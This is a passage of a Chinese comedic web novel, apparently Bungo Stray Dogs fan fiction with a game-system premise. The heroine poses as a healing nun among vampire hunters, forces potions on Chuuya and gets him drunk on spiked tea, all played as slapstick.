“飞鸟，你这话听起来好像个已经七八十岁的老婆婆。”
中原中也忍不住吐槽：“实际上你跟
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我的年龄也差不多吧？而且你到底怎么得出我和太宰那混蛋关系很好的结论的……”
他虽然一只手臂受伤，却完全没影响行动，下盘很稳地去踹太宰。
泉飞鸟眨了眨眼睛，左手在半空中轻轻一晃，掌心多出一个精致漂亮的小玻璃瓶，里面正晃荡着淡蓝色的液体。
“来，包治百病。”
她这次换了种正常的稀释方式，加水！果然没有再爆炸。
中原中也不肯接。
“这跟之前你那个蓝色鸡肉是同一种东西吧？”
他偏过头，不去看泉飞鸟充满真挚的眼神，他主要是担心自己看多了，有可能会心软同意。
再怎么样也不能喝毒药啊！！
泉飞鸟露出了属于恶棍的可怕微笑：“放弃抵抗吧中也！今天这个药你是想喝也得喝，不想喝也得给你灌下去！”
她把药瓶暂时往空间里一收，直接冲过去和中也缠斗起来。 “喂！不就是不喝你的毒药，至于吗！”
中原中也被她的突然袭击吓了一跳，后退几步躲开，他还下意识地认为泉飞鸟是个纯粹的柔弱后勤，特意收着力道。
他一向习惯亲力亲为，也经常直接上手教导属下战斗技巧，打着打着，他就感觉到不对劲了。
这是一个正常的后勤部成员该有的力量和速度吗？这都超过他手下精英小队的正常水平了吧！
而且他能隐约感觉到，一开始泉飞鸟还有点生疏，但随着战斗的继续，她在以一种肉眼可见的速度变强。
中原中也躲过泉飞鸟试图给他灌药水的袭击，眼睛逐渐变亮，看向泉飞鸟的眼神像是看见了被浪费天赋的璞玉。
难道后勤部是港口Mafia隐藏的人才储备库？
这种人才待在后勤部绝对是屈才了！
泉飞鸟，目前正沉浸在经验值飞速增长的快乐里，无暇顾及其他。
之前她还觉得魏尔伦先生那边的经验值已经够多了，没想到中也才是真正的豪横！
也不知道系统到底是怎么判定的，中也给的经验值是魏尔伦先生的两倍！
两个人打着打着打出了真火气。
虽然休息室很宽敞，但是中也因为手臂受伤不太灵敏，甚至开始使用异能力辅助，这地方就不够折腾了。
泉飞鸟就更不用说了，银行账户每秒进账一万元，是个人都不愿意停下来。
中也周身散发着属于异能力的淡红色光晕，一个转身稳稳当当落在墙壁上，太宰治不知道什么时候站在他旁边，拍了拍他骨折的那只手。
“喂！”
中也一时不稳，下意识想要用没骨折的那只手撑地保持平衡，泉飞鸟已经趁着他短暂的失误冲上来了。
按住，灌药，一气呵成！
“咕嘟咕嘟咳咳咳……”
这哪里只有太宰治一个混蛋，明明是两个狼狈为奸的混蛋！！
21.第二十一章
“好难喝。”
“但是你的伤好了。”
“难喝到好像一瓶已经开盖的果酱被你遗忘在冰箱深处几个月，你发现你的冰箱有奇怪的味道，找到果酱之后的味道。”
“虽然你已经吐了十分钟，暂时失去了快乐，但你获得了一条完全康复的手臂啊！”
中原中也脸都绿了：“可是这种程度的伤我不用几天就能自己痊愈，根本用不着喝这玩意儿！”
“好吧。”
泉飞鸟忍不住露出奸诈的笑容：“可是你喝都喝了，认清现实吧中也。”
中原中也看起来更想吐了。
倒是站在旁边围观这一切的幕后推手·太宰治若有所思：“飞鸟，你这个东西还有余量吗？”
太宰治摸了摸下巴，在泉飞鸟疑惑的目光中，缓缓开口道：“不考虑把这个药水稀释成不同的浓度，以高价卖给港口Mafia吗？”
他本身对这个药水没什么兴趣，但他坑老师的想法已经到达了顶峰。
“不过为什么要稀释成不同的浓度？”
泉飞鸟有些疑惑，多亏中也刚才的大力支持，她已经找到了能让伤口加快愈合，又不至于太离谱的浓度。
“真是没有商业头脑啊，飞鸟。”
太宰治实在是恨铁不成钢：“这样单纯的话，很容易被黑心首领坑的！普通版本的给普通成员用，再稀释的版本……”
“——当然是给审讯室用了，红叶大姐也会很喜欢这种好用的道具吧？”
他笑着说出了很可怕的话。
泉飞鸟用复杂的眼神盯着他。
太宰治大大方方地任由她看，表面上看像是完全不在意自己的言语是否会引起他人的厌恶。
他静静地等待着对方的反应，像是在等待随时到来的审判。
泉飞鸟默默伸出了一只手，给太宰治竖起了大拇指：“不愧是你，太宰，一如既往的黑心。”
“不过你简直是真正的天才！”
就连中原中也也难得放下对太宰治的成见：“没想到你还挺念着港口Mafia的，我一直以为你对红叶大姐不满呢……”
太宰治，笑面轻僵。
总感觉他想要的并不是这个反应，但是……也不坏？
“不过我现在的库存好像不太够。”
泉飞鸟看了看背包里少得可怜的止血剂，有些遗憾。
她现在等级低，还没到二十级，之后应该就能从系统商城里稳定购买止血剂了吧？
可恶，原本就迫切的升级想法，现在更迫切了。
“不过你们放心好了，等有新库存我一定会告诉你们的。”
泉飞鸟已经开始在打算盘珠子：“太宰提建议，所以分给你三成利润，我是唯一供应商，所以有六成。”
她抬眼看向中原中也：“……中也的保密费，一成，不许把消息透露给你的首领哦。”
“啊？这……”
中也露出了纠结的表情，他在为朋友保密的义气和对组织的忠诚中摇摆不定。
“这有什么可纠结的，中也。”
太宰治凑过来煽风点火，一手勾住了中也的肩膀，恶魔低语：“这不是一箭四雕的好事吗？”
“你收获了一份和飞鸟狼狈为奸的坚实友谊，部下的伤亡率也会减少，你敬重的红叶大姐也会很高兴，最重要的是……”
“——你早就想买最新款的机车了吧？”
中原中也瞳孔地震。
他最近确实看中了最新款的机车，但是价格高到就连干部候补的高工资都得攒一攒，毕竟干部候补和真正的干部职位，工资水平还是相差很多的。
“反正都是森先生出钱，肉痛大出血的也只有首领一个人，这笔生意多合算啊？”
“你说是吧，中也。”
泉飞鸟在旁边呱唧呱唧鼓掌。
这就是精通人性的男讲师！光靠语言的魅力就能把人迷得神魂颠倒！
＊
“咳咳。”
中原中也握拳放在嘴边，清了清嗓子。
“现在时间已经差不多了，我们得抓紧时间回现实才行，飞鸟，你有什么好主意吗？”
……连眼睛都已经变成机车的形状了呢，中也。
不过说的没错，也确实应该思考能完美通过这个副本的办法了。
“这个副本的名字是‘血腥研究’，所以不管怎么样，都要让这个研究停止才行。”
泉飞鸟回忆起刚刚进入副本时的介绍，认真分析。
也只有让这个研究彻底停止，并且躲过组织的一波清扫，木间这个角色才有可能安稳生活下去。
“目前看来组织这边是不可能主动停止的，他们的夙愿就是制造出长生不老药，不可能放过这种千载难逢的好机会。”
从组织的行动就能看出来这一点。
毁了这一个研
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究所，还有还有无数个备用的，解决了这一批研究员，也能从其他地方强抓来一批新人，组织是绝对不会放弃的。
“那就只能从他们嘴里的重要实验品，那位吸血鬼异能力者下手了。”
“真是自信啊，飞鸟。”
太宰治看起来心情还挺好的：“意思是你要和那位英雄福地樱痴抢人吗？”
不过又有谁能想到呢？那位看起来光明磊落的大英雄福地樱痴居然也会有这种阴暗的盘算。
他要是真的单纯只是为民除害，直接把吸血鬼杀掉就好，又怎么会和组织达成短期的研究协议？
研究结束之后，他又要把吸血鬼带去哪里？
旁边的中也也有些担忧：“那位是成名已久的老前辈，肯定不好对付。”
“我也没说要和他正面单挑啊。”
泉飞鸟一向是个很有自知之明的人，正常情况下她根本不会去单挑比自己强得多的人，之前那几次都是意外！意外！！
“我只要抢先一步解决掉吸血鬼异能力者就行了，用不着跟他打。”
中也用古怪的目光看她。
杀死吸血鬼异能力者，难道会比和福地樱痴单挑简单多少吗？
泉飞鸟露出了狡诈的笑容：“中也，你太天真了，我只说了解决，不代表我得杀掉他啊。”
“那么，武器呢？”
太宰治已经猜到泉飞鸟的打算，挑了挑眉：“据我所知，福地樱痴讨伐之前已经获得了那把传说中曾经斩杀过吸血鬼的圣剑，你没有对应的武器，要怎么光明正大地抢先？”
“啊？”
泉飞鸟听到太宰治的话傻眼了，她不可置信地看了眼在个人背包空间里放了很久的圣剑。
她把圣剑取出来，握在手里，试着挥舞了两下，锋利的刀刃在月光照耀下闪闪发光。
“他那边已经获得了圣剑，可是我这把也是传说中的圣剑啊？”
总不可能圣剑有两把？
“……你是哆啦●梦吗，怎么什么都有？”
中也目瞪口呆，他甚至觉得如果哪天泉飞鸟突然掏出一架飞机，他都不会觉得奇怪了。
太宰酱的眼神犀利了起来。
“飞鸟，你是从哪里……原来如此，是那位好心的费奥多尔君那里啊。”
泉飞鸟梗着脖子强词夺理：“拯救世界的事情，怎么能叫拿呢！这明明是来自费奥多尔先生慷慨的自愿赠予！”
22.第二十二章
讨伐吸血鬼的驻地，来了一位新的修女。
修女自称“泉”，和讨伐主力福地樱痴先生一样，来自远东的岛国，似乎是一位温柔又亲切的女性，她可以给人或者纯净水赐福。
喝下赐福之水的人，伤口可以加快痊愈，战斗的时候也能短暂提升力量。
毫无疑问，她是一位非常虔诚的信徒，虽然天气异常寒冷，却时刻身着单薄的修女服，手里也时常捧着一本厚厚的圣经。
那本圣经不知道为何似乎比一般的版本厚，比普通大小的板砖还要大上一圈，看起来能抡死人。
“好了，这样暂时就可以了。”
黑衣的修女声音温柔，就连包扎伤口的动作也十分小心细致，她身上有一种让人忍不住放松下来的香气。
“药水我已经赐福过了，请每天按时喝。”
泉修女把杯子重新还回去，里面的清水不知什么时候已经变成了浅浅的蓝色。
不小心负伤的讨伐队小队成员碰到她戴着黑色手套的手，红了脸。
讨伐吸血鬼并不是只要解决吸血鬼异能力者本体就行，吸血鬼病毒最近扩散速度很快，他们得尽力清理。
这种清理必须持续一段时间，才能进行最终的讨伐。
“泉修女，为什么一直都戴着黑色的面纱呢？”
他自以为隐晦地偷偷看了几眼，全身上下都是一身黑的修女脸上戴着厚重的黑面纱，把她的面容遮挡得严严实实，完全看不清长相。
泉修女的动作停顿了一下。
她沉默了几秒，再次开口说话的时候声音还是那么温柔亲切：“因为我的脸以前受过伤，疤痕太吓人了，我不想露出来吓到你们。”
“没关系的！”
小队成员迫不及待地回答，但又怕自己的态度引起泉修女的误会，急忙红着脸解释。
“我不是那个意思，请您不要误会！”
“我只是觉得不管容貌怎么样，泉修女是个非常非常温柔的人，大家都很尊敬你。”
面纱后那张模糊的脸，似乎露出了微笑。
“谢谢你，你是我这么多年以来，遇到的第一个如此赞美我的人。”
泉修女在小队成员身边坐下，那本厚厚的圣经被她珍重地放在膝头。
“你的伤势正好还需要静养一段时间，你是否愿意在这短暂的闲暇时间里，听我讲讲过去无聊的往事消磨消磨时光呢？”
小队成员像小鸡啄米一样疯狂点点头。
“我虽然是日本人，但是从小就移居到了挪威，和我的父母还有弟弟一起住在某个山上的庄园，生活非常平静。”
泉修女讲述过去的故事时，声音平静的像是湖水，但小队成员却从她的言语里清出了她对过去的怀念。
“我年幼时非常贪玩，经常偷偷跑出庄园去山里玩，某天我沉迷于找山上新长出来的蘑菇，没有准时回家。”
“当我疯玩了一阵，回到家的时候已经是半夜，但迎接我的并不是父母的责怪，而是冲天的火光。”
她攥着圣经的手指紧绷，小队成员屏住呼吸。
“有外来的吸血鬼侵入庄园，杀了我的父母，还传染了我的弟弟，让他成为了吸血鬼，我开门的时候，我的弟弟准备袭击我。”
“天哪！”
小队成员发出一阵惊呼，他没想到如此温柔亲切的修女居然有这么悲惨的过去。
泉修女发出一声苦笑。
“为了自保，我不得已亲手杀死了我的弟弟，为了生存下去，我向教堂寻求庇护，成为了一名修女。”
“不知道是不是上帝赐下的惩罚，双手沾满了亲人鲜血的罪人，居然也能觉醒治愈的能力，每次使用能力的时候，都是我在向已经死去的亲人赎罪。”
泉修女又讲了几个她曾经遇到的苦难人，小队成员已经听得眼泪汪汪。
“直到我听到了吸血鬼再度肆虐的消息，我就直接往这里赶来了，虽然我自己软弱无力，不能亲手为亲人报仇，但我也希望能亲眼看见我的仇敌彻底死亡。”
“如果真的有那一天，想必是上帝也认可了我的赎罪吧。”
泉修女讲完故事，又确认了一下小队成员的伤口已经包扎完毕后就离开了，只留下小队成员在原地若有所思。
他想，泉修女绝对不是软弱无力的人。
她能不顾危险，亲自来到战斗前线为他们治疗，是温柔而又强大的人。
他要把泉修女的故事告诉其他人，让所有人能一起齐心协力实现泉修女的愿望！
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>在小队成员已经看不到的地方，他心目中温柔稳重的修女已经找了个谁也不会来的角落，把脸上厚得要命的黑色面纱摘下来透气。
面纱下露出了泉飞鸟特意画过特效妆的脸。
别的不说，这个面纱蒙在脸上真的太闷了！她都快憋得缺氧了！
不得不说，这个吸血鬼讨伐队真的是菜刀队。
放眼望去全都是强力输出，没有一个辅助或者奶妈，她这个装成奶妈的输出就这样顺顺利利混进来了。
赐福！就是往水里滴一滴特效药！
她不把效果搞得太夸张，一瓶药足够她用很久很久了。
这个被她特意选中说说心里话的小伙子，是根据泉飞鸟这一段时间的观察之后，选出的一个最会传谣的人。
某件事情被他知道了，传谣进度已经百分百。
他上下嘴皮子一碰，传谣进度瞬间百分之两百，不过一两天就能传遍整个营地，实在是难得的情报人才。
不过第二天早上起来的时候，泉飞鸟发现她还是低估了那位小队队员的传谣言能力，这才一个晚上，整个营地都已经知道了。
她装作若无其事地路过，正好听到两个人在角落里小声说话。
“你听说了吗，关于泉修女的事。”
“听说过了，听说了，她可真是个苦命人啊，还必须不得不带着变成吸血鬼的弟弟，到处寻找重新变回人的办法，据说那个变成吸血鬼的弟弟就藏在泉修女的行李箱里。”
一度怀疑自己是不是听错了的泉飞鸟：“？”
怎么感觉好像哪里不对？
那个小哥到底传了什么东西，怎么连她都不知道，她什么时候带着变成吸血鬼的弟弟？
“我也听说了！还有更详细的版本！”
另一个人也兴致勃勃八卦起来。
“据说泉修女是神的后裔，有神的血脉，所以她的弟弟变成吸血鬼之后还保有理智。”
“据说她家里出事的那个晚上，泉修女的弟弟在危机时刻用吸血鬼的血刃捅了泉修女一刀，所以她忽然拥有了吸血鬼独有的特殊治愈能力！”
“她是神，人和吸血鬼的混血！”
已经不想再继续听的泉飞鸟：……毁灭吧，这个莫名其妙的世界。
23.第二十三章
虽然轰轰烈烈的谣言往奇怪的地方一去不复返，但泉飞鸟也算是达成了最初的目标。
她在小队的声望提高了，成功混进了战斗前线，甚至已经和那位英雄福地樱痴有了近距离的接触。
毕竟谁不希望在战斗的时候旁边有个能加buff的奶妈，就连大英雄也不例外。
“你的能力很好啊！”
福地樱痴虽然成名已久，但实际上年龄并不大，是个性格很豪爽的大叔，从表面上看来完全看不出来有什么不为人知的私心。
“你也是日本人吧？有没有兴趣在这里的任务结束之后回日本就职？”
泉飞鸟用特意夹出来的温柔声音拒绝了他。
“报仇成功之后，我打算四处流浪宣传主的意志，很抱歉要辜负您的好意了。”
开玩笑，等这边的事情结束之后她就要跑路了，到时候福地樱痴绝对会想砍了她的。
福地樱痴非常可惜，但也没多说什么，只是拍拍她的肩膀，在接下来的战斗里要加油。
泉飞鸟所扮演的修女，就这么决定要加入最终讨伐的大决战了，实在是可喜可贺。
但在最终讨伐来临之前的一段时间，泉飞鸟又有了新的烦恼。
那就是莫名其妙来找她聊天谈心的人！实在是太多了！
泉飞鸟都开始怀疑自己的演技是不是太好了，怎么有这么多人想找她当树洞！
某位不愿意透露姓名的讨伐小队成员是这么说的。
泉修女是一个安静的倾听者，在她面前能情不自禁地说出心里的烦恼。
她有一种特殊的催眠能力，能迅速让你获得心灵上的平静，醒过来的时候，大脑里空空荡荡，什么烦恼都没有了。
泉飞鸟对此表示：）
又是一个有着美丽晚霞的傍晚，泉飞鸟暂时居住的小木屋里又迎来了想要找她聊天的人。
“泉修女，我又来找您聊天了。”
金发小卷毛青年看起来有几分羞涩：“我能坐下说吗？”
还没等回复，他已经很熟悉流程地自己在桌子旁边坐下了，一副准备说心里话的模样。
泉飞鸟把一杯滚烫的开水砸在他面前，面纱后面无表情。
让她想想这个是哪个来着？哦，是那个看似纠结，实际上炫耀自己同时交往了五个女朋友的大傻逼。
要不是因为讨伐队少个人太明显，她早就把他送去沉湖了。
这玩意怎么有脸又来的？
“请你说说你的烦恼吧。”
由于她的听力实在太好，等她意识到听到了什么之后已经来不及了。
——这位看似很纯情的小卷毛，又交往了两个女朋友，几个女朋友都不知道彼此的存在。
“修女，你觉得我接下来应该怎么办？我也不想这样，但她们都是我的翅膀啊！”
“没关系。”
泉飞鸟已经重新捧起了那本她特意找到的，比板砖还要厚的圣经，她的声音里带着悲天悯人：“上帝会宽恕你的罪孽的。”
小卷毛还没有露出欣喜的表情，突然觉得眼前一花，后脑勺传来剧烈的疼痛，很快失去了意识。
泉飞鸟直接用板砖·圣经和这位小哥的后脑勺亲密接触了一下，直接把他抡翻了。
——特意溜进来找人的中原中也刚刚进入泉飞鸟的房间，就看到了无比恐怖的凶杀现场。
穿着修女服的泉飞鸟漫不经心地把手里的那本圣经抛着玩，地上躺着一个生死不明的人，他的后脑勺在冒血。
“？？？”
中原中也目瞪口呆，但很快回过神来考虑后续清理问题：“这附近不好抛，实在不行我来吧。”
他真的，她哭死。
“放心吧，死不了的，我有控制好力道。”
泉飞鸟慢条斯理地擦拭圣经上沾到的血迹，在滚烫的开水里放了点止血剂，强行给已经失去意识的小哥灌下去。
至于烫不烫，关她什么事？
她又不是小卷毛的老妈。
“你到底是抡了多少次才有这么精准的手感啊……”
中原中也忍不住吐槽：“真亏你那种乱七八糟性格能伪装成这
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种正经虔诚的修女，最近你的名气还挺大的，就连外面的人都听过有关你的传闻，说你是‘慈悲修女’。”
听到这种称号，泉飞鸟自己都觉得挺好笑的。
“物理超度也是一种慈悲，直接毫无痛苦地把人送走不也挺好的吗？”
像是忽然想起了什么重要的事，泉飞鸟小心翼翼，左顾右盼，她露出了神秘的微笑。
“说起来我最近得到了一点好东西，正好你来了和你一起喝，外面很冷吧？我热一热喝了可以暖暖身子。”
“哦哦，多谢。”
屋子里点燃了炉火，确实比外面的天寒地冻要温暖很多，中原中也把厚重的大衣脱掉，烤了烤火。
泉飞鸟在后面捣鼓了一阵，端出了两杯饮品，棕红色的茶汤里还放着两片柠檬。
“热柠茶？”
中原中也顺手接过来，有些惊讶：“你居然还有这种手艺？”
“我毕竟之前在酒吧当过调酒师，这种程度简简单单嘛，来喝喝看吧，喝了你就知道是什么好东西了。”
“……什么酒吧还会提供这种没有酒精的饮品？”
中原中也并不是太喜欢这种酸甜的饮料，不过现在正需要喝点什么暖暖身子，他直接端起杯子一饮而尽。
“等……”
泉飞鸟没想到中也居然直接一口闷，连忙阻止但已经来不及了。
中也被辛辣的味道呛到了，发出一连串惊天动地的咳嗽声：“咳咳咳咳……这，这是什么！”
他伸手抹了抹嘴角，脸已经瞬间红透了，眼睛也已经变成了晕晕乎乎的蚊香眼。
中也本来想站起来，但一个没站稳差点摔倒，用上了重力异能才勉强保持平衡，不过这样明显让他更晕了，在半空中迷迷瞪瞪。
怕他真摔了，泉飞鸟赶紧把中也重新拉到椅子上，让他坐好。
“这是热柠茶。”
泉飞鸟没想到中原中也的酒量这么差，一时语塞：“……准确来说，是加了小麦果汁的热柠茶。”
她真的只加了一点点！亿点点！
24.第二十四章
首先，她不是故意的。
其次，她应该不是故意的。
最后，她真的不是故意的啊！她根本就不知道中也居然酒量这么差！
泉飞鸟想象中的港口Mafia高层，觥筹交错，谈笑风生间决定令他人生死。
实际上的港口Mafia高层，喝酒一杯倒。
太好了是中也先生喝醉啦！我们要完蛋啦！
泉飞鸟给中也喝了点不知道有没有用的止血剂，很紧张地等待着中也的反应。
这个荒僻的地方，搞到一瓶伏特加和红茶已经很不容易了，一时半会儿怎么找得到解酒药？
要是中也先生是那种喝醉之后安安静静的还好，就怕他耍酒疯，万一直接用异能把这屋子拆了，弄出大动静就完蛋了。
……她也不确定自己来不来得及阻止。
中原中也一动不动。
他低垂着脑袋一言不发，橘色的发丝挡住了面容，像是已经睡着了。
太好了是不耍酒疯的类型，我们有救了！
泉飞鸟还没来得及松一口气，就看到中原中也下半张脸上有晶莹的闪光。
他流泪了。
泉飞鸟心里那口气又提起来了，她拿起属于自己那杯小麦果汁一饮而尽，瞬间冷静下来。
看来是少见的酒后emo类型啊……
她不会因为听到什么酒后吐真言，等下被酒醒过来的中也追杀吧？
中原中也猛地抬起头来，那双澄澈的钴蓝色眼睛被泪水浸润后，像一块闪闪发光的宝石，除了脸上有不正常的红晕之外，他看起来其实还挺清醒的。
“我……我早就应该和你道谢的，关于……魏尔伦的事情。”
他一开口说话还是断断续续的，确实醉得不轻。
“？”
泉飞鸟陷入思考，思考失败，放弃思考。
“你是单纯喜欢战斗还是……”
等了一会也不见中也继续说，泉飞鸟试探性地询问：“……和我一样喜欢挨打？”
当然，她喜欢的其实不是挨打，是经验值。
说实话，她实在想不出中也有什么要感谢她的理由，那天打电话给中也之后，非常靠谱的中也不到半个小时就赶过来。
他看到魏尔伦的时候，脸上的表情非常复杂，甚至有几分恍惚。
泉飞鸟其实完全不懂，她只是觉得自己真的找对人了，中也一看就是知情人，指不定还是当事者。
她对探听别人的隐私毫无兴趣，把谈话的空间让给了这两个人，自己找了个地方远远猫着，等他们这边的事情结束。
……结果那两个人一开始还是在正常说话，后来莫名其妙就打起来了，还是一副你死我活的架势，完全不顾其他人的死活。
这个其他人，包括了泉飞鸟本人，以及被他们打架的巨大动静吸引过来的警察和军队。
“结果那天晚上受伤的不仅是你们两个人！我的心灵也受到了巨大的创伤！！”
泉飞鸟一想起来那天晚上的事情就生气。
喝醉的中也明显还处于宕机状态，泉飞鸟也不管他，自顾自吐槽：“那群警察和军队的人不敢去打扰你们两个，就来围住无辜的我！”
站在旁观者的角度，他们的行为完全可以理解，前面是两个移动天灾在打架，你难道会眼巴巴往前冲，试图阻止他们吗？
当然不会啦！小命要紧啊！
去抓坐在旁边围观，甚至拿了一大堆零食一边吃一边评价的疑似同伙的人，岂不是更有性价比？
……当然，作为当事人的泉飞鸟感觉就不太好了。
她长这么大，第一次被几十把木仓指着，远处还有几把狙击木仓瞄准她的脑袋。
关她什么事啊！
围观打架难道也犯法吗！
“我，在枪林弹雨里饿着肚子跑酷，绕了一大圈才把人甩掉！结果原路返回一看你们居然还在打，然后我又被附近警察盯上了。”
泉飞鸟泪目了。
等到一切尘埃落定，已经是第二天清晨，她又双叒回到老地方的时候，轰轰烈烈打架的两个人早就跑路了。
泉飞鸟原本怨气十足，但她刚一低头就看到中也正安静地盯着她看，话到嘴边又变了个样：“……所以你到底为什么要道谢啊？”
“我原本以为……这个世界是完全虚构的，那个以酒为代号的组织，可能只是个巧合。”
中原中也虽然说话断断续续，但眼神里有一种无比清醒的痛苦。
“……直到我又遇到魏尔伦，和他打了一架，我忽然意识到，旗会，我的朋友们可能还在这个世界的某处好好活着。”
泉飞鸟这回明白他的意思了。
在现实中，魏尔伦先生杀死了中也的朋友们，但中也对魏尔伦的态度不仅仅是仇恨，而是一种更加复杂微妙的情感。
“你也可以现在就去看看他们，去日本只要买一张机票就行了。”
泉飞鸟想了想，建议道：
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“你还可以重新见到他们，毕竟这会让你高兴。”
“谢谢，但是已经没必要了。”
中也摇摇头，拒绝了这个提议。
他后知后觉地注意到自己脸上的眼泪，伸手胡乱擦了擦，他脸上短暂的痛苦和迷茫都已经消失不见了，取而代之的是某种来自灵魂深处的坚定。
中原中也，一直都是有着坚强内核的人，如果不是醉酒状态，有些话可能永远不会说出口。
他似乎稍微清醒了点，说话也变得流畅起来。
“这个世界的他们会好好活着，而现实中他们的死亡已经成为定局，我得背负起他们的死亡，继续坚定走下去才行。”
“我们总是要回归现实的，等等……怎么又是这个蓝色毒液的味道？”
止血剂对醉酒状态还真有点效果，中也已经清醒到可以回忆起那个痛苦的味道了。
“放心吧。”
泉飞鸟拍了拍中也的肩膀，她感觉脸有点热，自己整个人已经燃起来了，随时都能去砍了吸血鬼：“……我马上就……把这里的事情解决掉，我们回去现实……嗝。”
“……喂，你不是之前在酒吧兼职过吗？”
中原中也看到泉飞鸟现在不对劲的状态大感不妙：“你怎么看起来酒量不太好的样子？！”
“你现在听得见我说话吗？”
中也摇晃着泉飞鸟的肩膀，希望她可以清醒一点：“之后你有没有兴趣来当我的秘书？你的水平在后勤部实在太可惜了，转到我这边的话我还能继续指导你格斗术！”
“——你清醒一点啊！”
“泉修女，我听到你这里有奇怪的动静，是不是发生什么事了？”
门外突然传来了陌生人说话的声音，中也被吓得一激灵，他可是偷溜进来的，万一被发现可能会破坏计划！
只是中也还来不及行动，门外的人已经把门推开了，和中也大眼瞪小眼：“咦，怎么门没锁……你是哪位？”
“我是……”
中也绞尽脑汁，思考着合理的说法。
而泉飞鸟虽然喝醉酒了，却仍要君临天下，站在原地一动不动，一言不发。
门外的那个队员已经恍然大悟，自顾自说道：“你就是那位吸血鬼弟弟吧！果然是有神的血脉，你看起来完全不像吸血鬼，真厉害！”
“那没事我就走了，打扰了！”
队友兴冲冲把门关上，去分享最新八卦了，只留下中也一个人在风中凌乱。
25.第二十五章
“叮铃叮铃，叮叮叮叮——”
泉飞鸟是被一阵刺耳的电话铃声吵醒的。
她从恍惚的状态中回过神，发现自己还在居住的小木屋里。
不，有什么不对。
她走到小木屋的门前，试图开门，门像是被某种神秘的力量固定在原处，从窗户往外看，外面是一片光怪陆离的颜色。
……这是给她干哪儿来了？
【宿主，你终于醒了。】
耳边响起了系统无奈的声音。
“我这是到哪儿来了？还在人间吗？”
泉飞鸟恍恍惚惚。
【准确的来说，你确实不在人世了，暂时。】
【你都不知道你自己其实酒精过敏吗？要不是系统紧急修复错误把你拉回来，你就真的要因为莫名其妙的原因挂掉了。】
【一杯伏特加差点直接把自己送上天堂的宿主，我还是第一次遇到。】
“……？”
啊？我？酒精过敏？
泉飞鸟指着自己满脸疑惑。
那她之前在酒吧里打工的时间算什么？
算她命大吗？
【简单来说，你现在身处生死间隙的灰色地带，你可以把这里当成某个梦境空间，等系统修复完毕，就可以回去了。】
系统解释完毕就下线了。
泉飞鸟左顾右盼，目光落在不远处仍然在响的老式座机电话上。
也不知道修复完毕究竟要多久……总之先接个电话吧。
“叮铃叮铃，欢迎使用窥梦电话！”
“接下来为您接通的是尊贵的吸血鬼伯爵大人的梦境。”
伴随着一阵悦耳的音乐，电话被接通了，电话那头传来了一个低沉疲倦的男性声音：“喂？你好？”
泉飞鸟回答得很迅速：“你好，我不好。”
她都差点死掉了，一点都不好。
“？”
电话那头沉默了一会儿，估计也是因为她的回答感到莫名其妙。
“你是，梦境的妖精吗？”
电话里的声音带着昏昏欲睡的疲惫：“吾已经很久没有和人说话了，吾漫长的生命无时无刻不在虚度时光，到底何时才能迎来终结？”
泉飞鸟握着电话柄，感觉好像哪里不太对劲。
“尊贵的吸血鬼伯爵”，电话里的不会就是那个要被讨伐的吸血鬼吧？
怎么感觉对面比她这个半死不活的人还要半死不活？
“我不是妖精，都新世纪要讲究科学。你如果手机游戏什么的玩腻了，实在无聊的话还可以找个人搞搞网恋，只要不被骗钱就行，现在的网友都超会说话的。”
电话那头沉默的时间更久了，时间久到泉飞鸟差点以为对面已经挂电话了。
“……何为手机？何为网恋？吾没见过那种东西，吾无聊的时候只会睡觉。”
泉飞鸟惊了，她还以为对方是什么穷凶极恶的角色，结果是个连手机都没见过的老古董啊！
“你是布拉姆·斯托克没错吧？”
她试探性地询问道：“你知道最近有人要讨伐你吗？他们称呼你为‘世界的灾害’。”
“你知道吾的名讳？”
布拉姆的声音里带着清澈的疑惑：“吾不知道什么世界的灾害，他们为什么要来讨伐吾？”
“吾只是在睡觉而已，吾现在想看看那个叫手机的……”
【叮咚，系统已经修复完毕！】
突然响起的系统提示音打断了布拉姆还没说完的话。
泉飞鸟迅速被梦幻颜色的泡泡淹没了，再次回过神的时候，她已经重新回到副本里，甚至还是站着的。
“你，现在真的清醒了吗？”
中也还待在她旁边，正一脸怀疑地问她。
被她一板砖，哦不一圣经打晕的金发小卷毛还躺在旁边，脸上是幸福的微笑，看来物理话疗确实是效果拔群。
“我失去意识了多久？”
泉飞鸟后知后觉的感受到自己的头疼得要命，估计是那种宿醉之后的感觉。
她看了看自己的个人面板，果然血条后面多了两个负面状态，“酒精中毒”和“微醺”。
中毒状态会不停地扣她血，“微醺”则是小幅度提升攻击力，这两个状态都要持续一整天。
“其实也就两分钟而已，刚才……”
中也本来还想说刚才有队员来过的事，但他又想起了那句“吸血鬼弟弟”，话到嘴边卡住了。
“……总之你没什么大事就好，我先走了！你记得回到现实之后要来找我，当我的秘书！我会给你开高工资的！”
脸又有点红的中原中也扔下这句话就迅
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速跑掉了：“你千万不要忘了！”
“哦哦哦。”
泉飞鸟稀里糊涂地点点头，她还没完全缓过神，只听到了“高工资”这个词。
钱来！钱从四面八方来！
中也就和来的时候一样，悄无声息地顺利离开了，没有惊动任何人。
……说起来，中也这次过来是来干什么来着？好像还没说，就只记得喝酒的事情了。
看来“微醺”这种状态也不好，虽然能提升攻击力，但是感觉思考的速度变慢了。
有种脑子被僵尸吃了的感觉。
正好这个时候金发小卷毛也醒过来了，他能加入讨伐队，身体素质必然还不错，醒得这么快也是正常。
泉飞鸟用幽幽的目光盯住他。
小卷毛不好意思地挠挠头，从地上爬起来：“我怎么不小心摔到地上去了？奇怪，总感觉好像少了一段记忆。”
“不愧是泉修女，虽然不知道发生了什么，确实感觉心里一下子平静……”
“你现在还有什么烦恼吗？”
泉飞鸟以一种不容置喙的强势态度打断了他，手指在桌面上敲敲打打，看起来心情非常不妙。
“哎？爱情的烦恼的话还是有的，比如说……”
小卷毛有点不太适应她态度的忽然转变，但泉飞鸟并没有给他继续往下说的机会。
他只觉得后衣领被重重一扯，就被泉修女直接拎起来，怼到壁炉旁边，他的鼻尖几乎要撞到正在燃烧的火焰。
木柴燃烧发出噼啪的声响，其中一颗火星差点溅到他脸上。
“你，你这是干什么！放开我！”
泉飞鸟稳稳当当压制住他的挣扎，甚至还又按着他往里了一点。
“你现在还有爱情烦恼吗？”
她漫不经心地问道：“可以直接说。”
“没有了！我没有了！”
小卷毛是真的害怕了，就在他以为自己要被烧伤的前一秒，泉飞鸟松开了他的衣领。
“没有烦恼你就可以滚了，别来烦我。”
小卷毛连滚带爬逃跑了。
泉飞鸟伸手拍了拍身上沾到的灰尘，反正明天晚上就是最终讨伐，就算那个渣男到处乱说也不会影响她在最前面的事实，无所谓了。
……哦对了，还得去提前买个手机。
26.第二十六章
